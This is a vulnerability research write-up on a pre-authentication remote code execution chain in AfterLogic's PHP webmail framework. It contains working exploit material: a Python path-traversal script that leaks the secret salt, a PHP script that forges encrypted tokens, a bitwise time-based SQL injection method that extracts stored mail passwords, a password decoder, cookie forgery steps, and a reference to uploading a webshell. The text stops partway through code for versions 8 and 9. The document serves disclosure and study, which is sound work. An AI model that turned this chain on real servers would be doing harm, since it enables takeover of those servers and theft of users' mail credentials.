C110001: AfterLogic, PHP Object Injection to Remote Code Execution (pre-auth)
Introduction
Afterlogic provides an e-mail client and an online file manager coded in PHP.
Today we’re going to see that the tools made available by Afterlogic are vulnerable to a PHP Object Injection attack (in that case the vulnerability allows an attacker to execute code on the underlying server without authentication).
Afterlogic Corp. is an award-winning technological company creating world-leading email and telecommunications components, software and platforms since 2002.
And:
Open-source initiatives of Afterlogic Corp.
Vulnerable targets
The vulnerability lies in the very core of the developed framework (making most Afterlogic PHP applications vulnerable) which has been available for some time on GitHub:
- Framework owner:
- GitHub repository:
- afterlogic / aurora-framework
- URL:
For versions <= 7:
Versions equal to or lower than version 7 are vulnerable and exploitable because
it is possible to leak the value of CApi::$sSalt
thanks to
CVE-2021-26294
(by reading the contents of file data/salt.php).
For version 8 and 9 (latest):
The following versions are vulnerable but not exploitable in my opinion because
I have not yet managed to leak the value of Api::$sSalt
(which can be obtained
by reading the contents of file data/salt8.php).
It should be noted that if the exact installation time (timestamp) of the application is known (to the nearest microsecond), then it is possible to recalculate the value of
Api::$sSalt
and therefore it becomes possible to exploit the vulnerability. However this has just been patched for the latest versions on 2023/05/15 via commit 705858c67d92051c1c7a827ab8dc0215d28dc395.
Versions <= 7
Why?
Our exploit chain will exploit an Information Leakage (CVE-2021-26294), a PHP Object Injection vulnerability, a Time Based SQL Injection vulnerability and an Arbitrary File Upload combined to a Path Traversal vulnerability.
Information Leakage
As explained above, thanks to CVE-2021-26294, it is possible to leak the contents of file data/salt.php.
File: leak_v7.py
import base64
import requests
import hashlib
class Recon:
salt = None
def __init__(self, url):
self.url = url
def run(self):
# Default credentials.
username = "caldav_public_user@localhost"
password = "caldav_public_user"
# Vulnerable file.
vulnerable_file = "/dav/server.php"
path_traversel = "//files/personal/%2E%2E/%2E%2E//%2E%2E/%2E%2E/data/salt.php"
# We generate the authentication header (Authorization).
autorization = f"Basic {base64.b64encode(username.encode() + b':' + password.encode()).decode()}"
headers = {
"Authorization": autorization
}
# We craft the URL allowing us to exploit the vulnerability.
new_url = f"{self.url}{vulnerable_file}{path_traversel}"
r = requests.get(new_url, headers=headers)
index = r.text.find("<?php #")
if r.status_code == 200 and index != -1:
self.salt = "$2y$07$" + hashlib.md5(r.text.encode()).hexdigest() + "$"
return 1
return 0
recon = Recon("http://127.0.0.1/Projects/webmail-pro-php-7")
if not recon.run():
print("[x] Unable to recover salt")
exit(-1)
print(f"[+] Salt recovered: {recon.salt}")
We are therefore able to recalculate CApi::$sSalt
and reach sink
unserialize()
by querying route /rest.php.
Note from the author:
The chain I discovered was initially a post-auth chain before being transformed into a pre-auth chain thanks to the CVE. It is possible for authenticated users to reach vulnerable fonctions within /rest.php.
Unfortunately, there’s no trivial gadget chain for executing code or writing files on the server. We’ll have to understand the execution flow and hope to find another vulnerability, which I did, by discovering a Time Based SQL Injection in rest.php.
File: libraries/afterlogic/api.php
<?php
...
class CApi
{
...
/**
* @var string
*/
static $sSalt;
/**
* @var string
*/
static $sSaltShort;
...
public static function Run()
{
include_once self::LibrariesPath().'MailSo/MailSo.php';
CApi::$aI18N = null;
CApi::$aClientI18N = array();
if (!is_object(CApi::$oManager))
{
...
$sSalt = '';
$sSaltShort = '';
$sSaltFile = CApi::DataPath().'/salt.php';
if (!@file_exists($sSaltFile))
{
$sSaltDesc = '<?php #'.md5(microtime(true).rand(1000, 9999)).md5(microtime(true).rand(1000, 9999));
@file_put_contents($sSaltFile, $sSaltDesc);
}
else
{
$sSaltShort = md5(file_get_contents($sSaltFile));
$sSalt = '$2y$07$' . $sSaltShort . '$';
}
CApi::$sSalt = $sSalt;
CApi::$sSaltShort = $sSaltShort;
CApi::$aConfig = include CApi::RootPath().'common/config.php';
...
}
}
...
public static function DecodeKeyValues($sEncodedValues, $iSaltLen = 32)
{
$aResult = unserialize(
api_Crypt::XxteaDecrypt(
api_Utils::UrlSafeBase64Decode($sEncodedValues), substr(md5(self::$sSalt), 0, $iSaltLen)));
return is_array($aResult) ? $aResult : array();
}
...
}
File: rest.php
<?php
include_once __DIR__.'/libraries/afterlogic/api.php';
include_once CApi::LibrariesPath().'/ProjectCore/Notifications.php';
$sContents = file_get_contents('php://input');
$aInputData = array();
if (strlen($sContents) > 0)
{
parse_str($sContents, $aInputData);
}
else
{
$aInputData = isset($_REQUEST) && is_array($_REQUEST) ? $_REQUEST : array();
}
//$sMethod = isset($aInputData['method']) ? $aInputData['method'] : '';
$sMethod = strlen($_SERVER['PATH_INFO']) > 0 ? $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['PATH_INFO'] : '';
$sToken = isset($aInputData['token']) ? $aInputData['token'] : '';
$aSecret = CApi::DecodeKeyValues($sToken);
$bMethod = in_array($sMethod, array(
'GET /token',
'POST /account',
'PUT /account/update',
'DELETE /account',
'PUT /account/enable',
'PUT /account/disable',
'PUT /account/password',
'GET /account/list',
'GET /account/exists',
'POST /channel',
'DELETE /channel',
'POST /tenant',
'PATCH /tenant',
'DELETE /tenant',
'GET /tenant/exists',
'GET /tenant/list',
'GET /account',
'POST /domain',
'PUT /domain/update',
'DELETE /domain',
'GET /domain/list',
'GET /domain/exists',
'GET /domain'
));
$aResult = array(
'method' => $sMethod
);
if (!CApi::GetConf('labs.rest', true))
{
$aResult['message'] = 'rest api disabled';
$aResult['errorCode'] = \ProjectCore\Notifications::RestApiDisabled;
$aResult['result'] = false;
}
else if (class_exists('CApi') && CApi::IsValid() && $bMethod)
{
...
if ($sMethod === 'GET /token')
{
...
}
else if (!(isset($aSecret['login']) && isset($aSecret['password'])))
{
$aResult['message'] = 'invalid token';
$aResult['errorCode'] = \ProjectCore\Notifications::RestInvalidToken;
}
else if (!isset($aSecret['timestamp']) || ((time() - $aSecret['timestamp']) > 3600 /*1h*/))
//else if (!isset($aSecret['timestamp']))
{
$aResult['message'] = 'token expired';
$aResult['errorCode'] = \ProjectCore\Notifications::RestTokenExpired;
}
else
{
$iAuthTenantId = isset($aSecret['tenantId']) ? $aSecret['tenantId'] : 0; //Jedi remember - tenant has less power than superadmin
switch ($sMethod)
{
...
case 'GET /tenant/list':
$iPage = isset($aInputData['page']) ? (int) trim ($aInputData['page']) : 1;
$iTenantsPerPage = isset($aInputData['tenantsPerPage']) ? (int) trim ($aInputData['tenantsPerPage']) : 100;
$sOrderBy = isset($aInputData['orderBy']) ? strtolower (trim ($aInputData['orderBy'])) : 'Login';
$bOrderType = (isset($aInputData['orderType']) && trim($aInputData['orderType']) === 'false') ? false : true;
$sSearchDesc = isset($aInputData['searchDesc']) ? trim ($aInputData['searchDesc']) : '';
if (!class_exists('CTenant'))
{
$aResult['message'] = getErrorMessage('Tenant : Required classes not found', $oApiTenantsManager);
$aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
break;
}
$aResult['result'] = $oApiTenantsManager->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
if (!$aResult['result'])
{
$aResult['message'] = getErrorMessage('cannot get tenant list', $oApiTenantsManager);
$aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
}
else
{
$aList = array();
foreach ($aResult['result'] as $iKey => $mValue){
$aList[] = array(
"Id" => $iKey,
"Login" => $mValue[0],
"Description" => $mValue[1]
);
}
$aResult['result'] = $aList;
}
break;
...
}
...
}
}
...
$aResult['$sContents'] = $sContents;
if (isset($aResult['result']) && $aResult['result'])
{
$aResult['message'] = 'ok';
}
if (!isset($aResult['message']))
{
$aResult['message'] = $bMethod ? 'error' : 'unknown method';
$aResult['errorCode'] = $bMethod ? \ProjectCore\Notifications::RestOtherError : \ProjectCore\Notifications::RestUnknownMethod;
$aResult['result'] = false;
}
function getErrorMessage ($sMessage, $oManager)
{
$sResultMessage = $oManager ? $oManager->GetLastErrorMessage() : null;
return empty($sResultMessage) ? $sMessage : $sResultMessage;
}
/*@header('Content-Type: text/html; charset=utf-8');
echo '<script>console.log('.json_encode($aResult, defined('JSON_UNESCAPED_UNICODE') ? JSON_UNESCAPED_UNICODE : 0).');</script>';*/
@header('Content-Type: application/json; charset=utf-8');
echo json_encode($aResult, defined('JSON_UNESCAPED_UNICODE') ? JSON_UNESCAPED_UNICODE : 0);
PHP Object Injection
As you can see:
- Using the URL and its parameters we control the variables:
$aInputData
$sMethod
$sToken
- Thanks to the PHP Object Injection vulnerability, we control the variable:
$aSecret
In addition, the following safety checks can be bypassed:
File: rest.php
...
else if (!(isset($aSecret['login']) && isset($aSecret['password'])))
{
$aResult['message'] = 'invalid token';
$aResult['errorCode'] = \ProjectCore\Notifications::RestInvalidToken;
}
else if (!isset($aSecret['timestamp']) || ((time() - $aSecret['timestamp']) > 3600 /*1h*/))
//else if (!isset($aSecret['timestamp']))
{
$aResult['message'] = 'token expired';
$aResult['errorCode'] = \ProjectCore\Notifications::RestTokenExpired;
}
...
By encoding with salt CApi::$sSalt
the payload:
a:3:{s:5:"login";s:4:"junk";s:8:"password";s:4:"junk";s:9:"timestamp";i:9999999999;}
Of course, the entire encoding process is automated using the following script:
File: gen_payloads_v7.php
<?php
function UrlSafeBase64Encode($sValue) {
return str_replace(array('+', '/', '='), array('-', '_', '.'), base64_encode($sValue));
}
function long2str($aV, $aW) {
$iLen = count($aV);
$iN = ($iLen - 1) << 2;
if ($aW) {
$iM = $aV[$iLen - 1];
if (($iM < $iN - 3) || ($iM > $iN)) {
return false;
}
$iN = $iM;
}
$aS = array();
for ($iIndex = 0; $iIndex < $iLen; $iIndex++) {
$aS[$iIndex] = pack('V', $aV[$iIndex]);
}
if ($aW) {
return substr(join('', $aS), 0, $iN);
}
else {
return join('', $aS);
}
}
function int32($iN) {
while ($iN >= 2147483648) {
$iN -= 4294967296;
}
while ($iN <= -2147483649) {
$iN += 4294967296;
}
return (int) $iN;
}
function str2long($sS, $sW) {
$aV = unpack('V*', $sS . str_repeat("\0", (4 - strlen($sS) % 4) & 3));
$aV = array_values($aV);
if ($sW) {
$aV[count($aV)] = strlen($sS);
}
return $aV;
}
function XxteaEncrypt($sString, $sKey) {
if (empty($sString)) {
return '';
}
$aV = str2long($sString, true);
$aK = str2long($sKey, false);
if (count($aK) < 4) {
for ($iIndex = count($aK); $iIndex < 4; $iIndex++) {
$aK[$iIndex] = 0;
}
}
$iN = count($aV) - 1;
$iZ = $aV[$iN];
$iY = $aV[0];
$iDelta = 0x9E3779B9;
$iQ = floor(6 + 52 / ($iN + 1));
$iSum = 0;
while (0 < $iQ--) {
$iSum = int32($iSum + $iDelta);
$iE = $iSum >> 2 & 3;
for ($iPIndex = 0; $iPIndex < $iN; $iPIndex++)
{
$iY = $aV[$iPIndex + 1];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iPIndex] = int32($aV[$iPIndex] + $iMx);
}
$iY = $aV[0];
$iMx = int32((($iZ >> 5 & 0x07ffffff) ^ $iY << 2) +
(($iY >> 3 & 0x1fffffff) ^ $iZ << 4)) ^ int32(($iSum ^ $iY) + ($aK[$iPIndex & 3 ^ $iE] ^ $iZ));
$iZ = $aV[$iN] = int32($aV[$iN] + $iMx);
}
return long2str($aV, false);
}
function EncodeKeyValues($aValues, $iSaltLen = 32) {
return UrlSafeBase64Encode(XxteaEncrypt($aValues, substr(md5(SALT), 0, $iSaltLen)));
}
function gen() {
$payload = "token=" . EncodeKeyValues(ORIGINAL_PAYLOAD) . "\n";
return $payload;
}
define('ORIGINAL_PAYLOAD', $argv[2]);
define("SALT", $argv[1]);
echo gen();
Time Based SQL Injection
Ok, after the bypass, we’re now able to interact with this piece of code:
File: rest.php
...
case 'GET /tenant/list':
$iPage = isset($aInputData['page']) ? (int) trim ($aInputData['page']) : 1;
$iTenantsPerPage = isset($aInputData['tenantsPerPage']) ? (int) trim ($aInputData['tenantsPerPage']) : 100;
$sOrderBy = isset($aInputData['orderBy']) ? strtolower (trim ($aInputData['orderBy'])) : 'Login';
$bOrderType = (isset($aInputData['orderType']) && trim($aInputData['orderType']) === 'false') ? false : true;
$sSearchDesc = isset($aInputData['searchDesc']) ? trim ($aInputData['searchDesc']) : '';
if (!class_exists('CTenant'))
{
$aResult['message'] = getErrorMessage('Tenant : Required classes not found', $oApiTenantsManager);
$aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
break;
}
$aResult['result'] = $oApiTenantsManager->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
if (!$aResult['result'])
{
$aResult['message'] = getErrorMessage('cannot get tenant list', $oApiTenantsManager);
$aResult['errorCode'] = \ProjectCore\Notifications::RestOtherError;
}
else
{
$aList = array();
foreach ($aResult['result'] as $iKey => $mValue){
$aList[] = array(
"Id" => $iKey,
"Login" => $mValue[0],
"Description" => $mValue[1]
);
}
$aResult['result'] = $aList;
}
break;
...
Since we are controlling the variable $aInputData
as shown above, we are also
controlling the following values:
$iPage
$iTenantsPerPage
$sOrderBy
$bOrderType
$sSearchDesc
But it turns out that these values are passed as parameters to function
CApiTenantsManager::getTenantList()
.
File: libraries/afterlogic/common/managers/tenants/manager.php
<?php
...
class CApiTenantsManager extends AApiManagerWithStorage
{
...
public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'Login', $bOrderType = true, $sSearchDesc = '')
{
$aResult = false;
try
{
$aResult = $this->oStorage->getTenantList($iPage, $iTenantsPerPage, $sOrderBy, $bOrderType, $sSearchDesc);
}
catch (CApiBaseException $oException)
{
$this->setLastException($oException);
}
return $aResult;
}
...
}
Which itself calls the function CApiTenantsDbStorage::getTenantList()
:
File: libraries/afterlogic/common/managers/tenants/storages/db/storage.php
<?php
...
class CApiTenantsDbStorage extends CApiTenantsStorage
{
...
public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'Login', $bOrderType = true, $sSearchDesc = '')
{
$aTenants = false;
if ($this->oConnection->Execute(
$this->oCommandCreator->getTenantList($iPage, $iTenantsPerPage,
$this->_dbOrderBy($sOrderBy), $bOrderType, $sSearchDesc)))
{
$oRow = null;
$aTenants = array();
while (false !== ($oRow = $this->oConnection->GetNextRecord()))
{
$aTenants[$oRow->id_tenant] = array($oRow->login, $oRow->description);
}
}
$this->throwDbExceptionIfExist();
return $aTenants;
}
...
protected function _dbOrderBy($sOrderBy)
{
$sResult = $sOrderBy;
switch ($sOrderBy)
{
case 'Description':
$sResult = 'description';
break;
case 'Login':
$sResult = 'login';
break;
}
return $sResult;
}
...
}
I’m going to spoil it for you, but the parameter we’re interested in is
$sOrderBy
which takes its value from $_GET["orderBy"]
and because no default
case is defined, we control the return value $sResult
. When we look at what
the function CApiTenantsCommandCreatorMySQL::getTenantList()
does, we see that
the value we are controlling is inserted directly into an SQL query without
being filtered (unlike the other functions I audited).
Then the request is executed using the function CDbStorage::Execute()
:
File: libraries/afterlogic/common/managers/tenants/storages/db/command_creator.php
<?php
...
class CApiTenantsCommandCreatorMySQL extends CApiTenantsCommandCreator
{
...
public function getTenantList($iPage, $iTenantsPerPage, $sOrderBy = 'login', $bOrderType = true, $sSearchDesc = '')
{
$sWhere = '';
if (!empty($sSearchDesc))
{
$sSearchDesc = '\'%'.$this->escapeString($sSearchDesc, true, true).'%\'';
$sWhere = ' WHERE login LIKE '.$sSearchDesc.' OR description LIKE '.$sSearchDesc;
}
$sOrderBy = empty($sOrderBy) ? 'login' : $sOrderBy;
$sSql = 'SELECT id_tenant, login, description FROM %sawm_tenants %s ORDER BY %s %s LIMIT %d OFFSET %d';
$sSql = sprintf($sSql, $this->prefix(), $sWhere, $sOrderBy,
((bool) $bOrderType) ? 'ASC' : 'DESC',
$iTenantsPerPage,
($iPage > 0) ? ($iPage - 1) * $iTenantsPerPage : 0
);
return $sSql;
}
}
...
File: libraries/afterlogic/common/db/storage.php
...
class CDbStorage
{
...
public function Execute($sSql)
{
$bResult = false;
try
{
if (!empty($sSql))
{
if ($this->oSlaveConnector && $this->isSlaveSql($sSql))
{
if ($this->ConnectSlave())
{
$bResult = $this->oSlaveConnector->Execute($sSql, true);
}
}
else
{
if ($this->Connect())
{
$bResult = $this->oConnector->Execute($sSql);
}
}
}
}
catch (CApiDbException $oException)
{
$this->SetException($oException);
}
return $bResult;
}
...
}
...
So we now have an Time Based SQL Injection without authentication.
Here is the query we injected:
SELECT id_tenant, login, description FROM awm_tenants ORDER BY <INJECTION_POINT> ASC LIMIT 100 OFFSET 0;
The table we are interested in, is table awm_accounts
which in my lab has the following columns:
id_acct |
id_user |
id_domain |
id_tenant |
def_acct |
deleted |
quota |
email |
friendly_nm |
mail_protocol |
mail_inc_host |
mail_inc_port |
mail_inc_login |
mail_inc_pass |
mail_inc_ssl |
mail_out_host |
mail_out_port |
mail_out_login |
mail_out_pass |
mail_out_auth |
mail_out_ssl |
signature |
signature_type |
signature_opt |
mailbox_size |
mailing_list |
hide_in_gab |
custom_fields |
is_password_specified |
allow_mail |
1 | 1 | 0 | 0 | 1 | 0 | 104857600 | user1@mail.local | 1 | 143 | user1@mail.local | 70110303071f0214 | 0 | 25 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | |||||||
2 | 2 | 0 | 0 | 1 | 0 | 104857600 | admin@mail.local | 1 | 143 | admin@mail.local | 70110303071f0214 | 0 | 25 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | |||||||
3 | 3 | 0 | 0 | 1 | 0 | 104857600 | user2@mail.local | 1 | 143 | user2@mail.local | 70110303071f0214 | 0 | 25 | 2 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 1 |
Moreover, the only column that really interests me is column mail_inc_pass
,
which seems to contain a password derivative. The reason I’m telling you this is
that I’ve defined the same password (password
) for all three users. But what
does this value (70110303071f0214
) correspond to?
Like you, my first thought was for a hash or an encrypted password, but it turns
out not to be the case and let’s take a look at the function
api_Utils::DecodePassword()
instead:
File: libraries/afterlogic/common/utils.php
<?php
...
class api_Utils
{
...
public static function DecodePassword($sPassword)
{
$sResult = '';
$iPasswordLen = strlen($sPassword);
if (0 < $iPasswordLen && strlen($sPassword) % 2 == 0)
{
$sDecodeByte = chr(hexdec(substr($sPassword, 0, 2)));
$sPlainBytes = $sDecodeByte;
$iStartIndex = 2;
$iCurrentByte = 1;
do
{
$sHexByte = substr($sPassword, $iStartIndex, 2);
$sPlainBytes .= (chr(hexdec($sHexByte)) ^ $sDecodeByte);
$iStartIndex += 2;
$iCurrentByte++;
}
while ($iStartIndex < $iPasswordLen);
$sResult = $sPlainBytes;
}
// fix problem with 1-symbol password
if ($iPasswordLen === 2 && $iPasswordLen === strlen($sResult))
{
$sResult = substr($sResult, 0, 1);
}
return $sResult;
}
...
}
So we create the following PHP script:
File: decode_mail_inc_pass.php
<?php
function DecodePassword($sPassword)
{
$sResult = '';
$iPasswordLen = strlen($sPassword);
if (0 < $iPasswordLen && strlen($sPassword) % 2 == 0)
{
$sDecodeByte = chr(hexdec(substr($sPassword, 0, 2)));
$sPlainBytes = $sDecodeByte;
$iStartIndex = 2;
$iCurrentByte = 1;
do
{
$sHexByte = substr($sPassword, $iStartIndex, 2);
$sPlainBytes .= (chr(hexdec($sHexByte)) ^ $sDecodeByte);
$iStartIndex += 2;
$iCurrentByte++;
}
while ($iStartIndex < $iPasswordLen);
$sResult = $sPlainBytes;
}
// fix problem with 1-symbol password
if ($iPasswordLen === 2 && $iPasswordLen === strlen($sResult))
{
$sResult = substr($sResult, 0, 1);
}
return $sResult;
}
echo DecodePassword($argv[1]);
Which, once executed, gives us our decoded password.
Now that we know which column we’re interested in, you may ask why we don’t
extract the email
column as well (which seems logical). Given that we’re going
to extract the contents of the column using a Time Based SQL Injection, I’d
prefer to limit the number of requests made (and therefore the exploitaiton time).
In addition, a single HTTP GET request will allow us to retrieve the contents of
the email
column.
Now, we have a way to retrieve the contents of the two columns email
and mail_inc_pass
from table awm_accounts
.
SQL Injection optimisation
Retrieve the length of the encoded password
The length of the string can be retrieved using the function LENGTH()
.
SELECT LENGTH(mail_inc_pass) FROM `awm_accounts` LIMIT 1;
16
Only then it take 16 queries if we make a comparison of type:
len == 1
noklen == 2
nok- …
len == 16
ok
Dicotomy can also work, but my advice here is to convert our base 10 integer to base 2.
SELECT BIN(LENGTH(mail_inc_pass)) FROM `awm_accounts` LIMIT 1;
10000
And as the values returned by the function BIN()
are not padded on the left,
and we don’t want to fall into an infinite loop when writing the exploit, I
recommend padding our value on the left using function LPAD()
.
SELECT LPAD(BIN(LENGTH(mail_inc_pass)),8,0) FROM `awm_accounts` LIMIT 1;
00010000
Now, with a bit-by-bit comparison, we can determine the length of our encoded password in 8 queries.
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),1,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),2,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),3,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),4,1) FROM `awm_accounts` LIMIT 1;
1
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),5,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),6,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),7,1) FROM `awm_accounts` LIMIT 1;
0
SELECT SUBSTR(LPAD(BIN(LENGTH(mail_inc_pass)),8,0),8,1) FROM `awm_accounts` LIMIT 1;
0
Once the password length has been obtained, we can start extracting the password character by character, using a similar technique.
Password extraction
SELECT SUBSTR(mail_inc_pass,1,1) FROM `awm_accounts` LIMIT 1;
7
We perform a binary conversion and padding (there are 128 values in the ASCII table).
SELECT LPAD(BIN(ASCII(SUBSTR(mail_inc_pass,1,1))),7,0) FROM `awm_accounts` LIMIT 1;
0110111
So we need to perform 7 requests to obtain the value of a character.
As a result, the total number of requests to obtain the encoded password is:
- 8 requests to obtain the length of the encoded password.
-
7 requests times the length of the encoded password (
7 * LENGTH(mail_inc_pass)
). - Total number of requests =
8 + (7 * LENGTH(mail_inc_pass))
Arbitrary File Upload and Path Traversal
Now that we’re able to retrieve accounts and their passwords, the last step in our exploit chain is to upload a webshell as shown below.
As it can be seen in the screenshot above, the upload request is an
authenticated request, in which the cookie $_COOKIE[self::AUTH_KEY]
is defined.
Let’s take a look at how we can generate such a cookie:
File: libraries/afterlogic/common/managers/integrator/manager.php
<?php
...
class CApiIntegratorManager extends AApiManager
{
...
const AUTH_KEY = 'p7auth';
...
public function getLogginedUserId($sAuthToken = '')
{
$iUserId = 0;
$sKey = '';
if (strlen($sAuthToken) !== 0)
{
$sKey = \CApi::Cacher()->get('AUTHTOKEN:'.$sAuthToken);
}
else
{
$sKey = empty($_COOKIE[self::AUTH_KEY]) ? '' : $_COOKIE[self::AUTH_KEY];
}
if (!empty($sKey) && is_string($sKey))
{
$aAccountHashTable = CApi::DecodeKeyValues($sKey);
if (is_array($aAccountHashTable) && isset($aAccountHashTable['token']) &&
'auth' === $aAccountHashTable['token'] && 0 < strlen($aAccountHashTable['id']) &&
is_int($aAccountHashTable['id']) && isset($aAccountHashTable['email']) && isset($aAccountHashTable['hash']))
{
$oApiUsersManager = \CApi::Manager('users');
$oAccount = $oApiUsersManager->getAccountByEmail($aAccountHashTable['email']);
if ($oAccount && $oAccount->IdUser == $aAccountHashTable['id'] && $aAccountHashTable['hash'] === sha1($oAccount->IncomingMailPassword . \CApi::$sSalt))
{
$iUserId = $aAccountHashTable['id'];
}
}
CApi::Plugin()->RunHook('api-integrator-get-loggined-user-id', array(&$iUserId));
}
return $iUserId;
}
}
Once the SQL Injection has been carried out, all the information needed to forge the cookie are in our possession:
$p7auth = array(
"token" => "auth",
"sign-me" => true,
"id" => <ID>,
"email" => <EMAIL>,
"hash" => sha1(<PASSWORD + SALT>)
);
Exploit
The exploit is in three parts:
- A python script operating the exploit chain.
- exploit.py
- A PHP library for generating tokens, cookies and decoding database passwords.
- lib.php
- A simple PHP webshell.
- poc.php
The advantage of this exploit is that it recovers a user’s password in clear text, and is therefore stealth. But for purely technical interest, I’ve also coded an exploit that modifies a user’s password and uses it to upload the webshell. Which saves us an enormous amount of time during exploitation, since we no longer have to exploit the SQL injection.
The second exploit is a variant of the first one and is also in three parts:
- A python script operating the exploit chain.
- exploit.py
- A PHP library for generating tokens and cookies.
- lib.php
- A simple PHP webshell.
- poc.php
Version 8 and 9
Why?
First let’s take the Web application WebMail Lite PHP 8 as an example.
Before commit 705858c67d92051c1c7a827ab8dc0215d28dc395:
File: system/Api.php
<?php
...
class Api
{
...
public static $sSalt;
...
public static function InitSalt()
{
$sSalt = '';
$sSalt8File = self::GetSaltPath();
$sSaltFile = self::DataPath().'/salt.php';
if (!@file_exists($sSalt8File)) {
if (@file_exists($sSaltFile)) {
$sSalt = md5(@file_get_contents($sSaltFile));
@unlink($sSaltFile);
} else {
$sSalt = base64_encode(microtime(true).rand(1000, 9999).microtime(true).rand(1000, 9999));
}
$sSalt = '<?php \\Aurora\\System\\Api::$sSalt = "'. $sSalt . '";';
@file_put_contents($sSalt8File, $sSalt);
}
if (is_writable($sSalt8File)) {
include_once $sSalt8File;
}
self::$sSalt = '$2y$07$' . self::$sSalt . '$';
}
...
}
PHP documentation for the rand()
function:
Caution
This function does not generate cryptographically secure values, and must not be used for cryptographic purposes, or purposes that require returned values to be unguessable.
If cryptographically secure randomness is required, the Random\Randomizer may be used with the Random\Engine\Secure engine. For simple use cases, the random_int() and random_bytes() functions provide a convenient and secure API that is backed by the operating system’s CSPRNG
Furthermore since PHP 7.1.0:
rand() has been made an alias of mt_rand().
So if we know the time (timestamp) at which the application was installed (to
the nearest microsecond), the variable Api::$sSalt
can only take 80982001
possible values.
After commit 705858c67d92051c1c7a827ab8dc0215d28dc395:
File: system/Api.php
<?php
...
class Api
{
...
public static $sSalt;
...
public static function InitSalt()
{
$sSalt = '';
$sSalt8File = self::GetSaltPath();
if (!@file_exists($sSalt8File)) {
$sSalt = base64_encode(microtime(true).rand(1000, 9999).microtime(true).rand(1000, 9999));
$sSalt = bin2hex(random_bytes(16));
$sSalt = '<?php \\Aurora\\System\\Api::$sSalt = "'. $sSalt . '";';
@file_put_contents($sSalt8File, $sSalt);
}
if (is_writable($sSalt8File)) {
include_once $sSalt8File;
}
}
...
}
But this is no longer possible due to the following line of code:
File: system/Api.php
...
$sSalt = bin2hex(random_bytes(16));
...
Now let’s take a look at how to reach the function unserialize()
without
authentication by looking at the following call stack:
1) File index.php calls
\Aurora\System\Application::Start()
from file
system/Application.php.
2) Function Application::Start()
calls Api::Init()
defined in file
system/Api.php.
3) Function Api::Init()
calls self::GetModuleManager()->loadModules()
where
loadModules()
is defined in file
system/Module/Manager.php.
4) Function loadModules()
then calls \Aurora\System\Api::authorise()
from
file system/Api.php.
5) Variable $sAuthToken
is defined as the result of the function
self::getAuthToken()
which retrieves the value of cookie
Application::AUTH_TOKEN_KEY
('AuthToken'
). This variable is then passed as a
parameter to function self::getAuthenticatedUserId()
. Function
getAuthenticatedUserId()
calls function
\Aurora\System\Managers\Integrator::getInstance()->getAuthenticatedUserInfo()
from file system/Managers/Integrator.php.
6) Function getAuthenticatedUserInfo()
calls function
\Aurora\System\Api::UserSession()->Get()
from file
system/UserSession.php which then calls function
Api::DecodeKeyValues()
from file system/Api.php.
7) Function DecodeKeyValues()
calls unserialize()
our vulnerable function
with a parameter under our control $_COOKIE['AuthToken']
.
It is therefore possible, without authentication, to reach function
unserialize()
(sink).
File: index.php
<?php
...
include_once 'system/autoload.php';
\Aurora\System\Application::Start();
File: system/Application.php
<?php
...
class Application
{
...
public static function Start($sDefaultEntry = 'default')
{
if (!defined('AU_APP_START'))
{
define('AU_APP_START', microtime(true));
}
try
{
Api::Init();
}
catch (\Aurora\System\Exceptions\ApiException $oEx)
{
\Aurora\System\Api::LogException($oEx);
}
self::GetVersion();
$mResult = self::SingletonInstance()->Route(
\strtolower(
Router::getItemByIndex(0, $sDefaultEntry)
)
);
if (\MailSo\Base\Http::SingletonInstance()->GetRequest('Format') !== 'Raw')
{
echo $mResult;
}
}
...
}
File: system/Api.php
<?php
...
class Api
{
...
public static function Init($bGrantAdminPrivileges = false)
{
$apiInitTimeStart = \microtime(true);
include_once self::GetVendorPath().'autoload.php';
if ($bGrantAdminPrivileges)
{
self::GrantAdminPrivileges();
}
self::InitSalt();
self::validateApi();
self::GetModuleManager()->loadModules();
if (!defined('AU_API_INIT'))
{
define('AU_API_INIT', microtime(true) - $apiInitTimeStart);
}
}
...
public static function authorise($sAuthToken = '')
{
$oUser = null;
$mUserId = false;
try
{
if (isset(self::$aUserSession['UserId']))
{
$mUserId = self::$aUserSession['UserId'];
}
else
{
$sAuthToken = empty($sAuthToken) ? self::getAuthToken() : $sAuthToken;
$mUserId = self::getAuthenticatedUserId($sAuthToken);
}
$oUser = Managers\Integrator::getInstance()->getAuthenticatedUserByIdHelper($mUserId);
}
catch (\Exception $oException) {}
return $oUser;
}
...
public static function getAuthToken()
{
$sAuthToken = self::getAuthTokenFromHeaders();
if (!$sAuthToken)
{
$sAuthToken = isset($_COOKIE[Application::AUTH_TOKEN_KEY]) ?
$_COOKIE[Application::AUTH_TOKEN_KEY] : '';
}
return $sAuthToken;
}
...
public static function getAuthenticatedUserId($sAuthToken = '')
{
$mResult = false;
if (!empty($sAuthToken))
{
if (!empty(self::$aUserSession['UserId']) && self::getAuthenticatedUserAuthToken() === $sAuthToken)
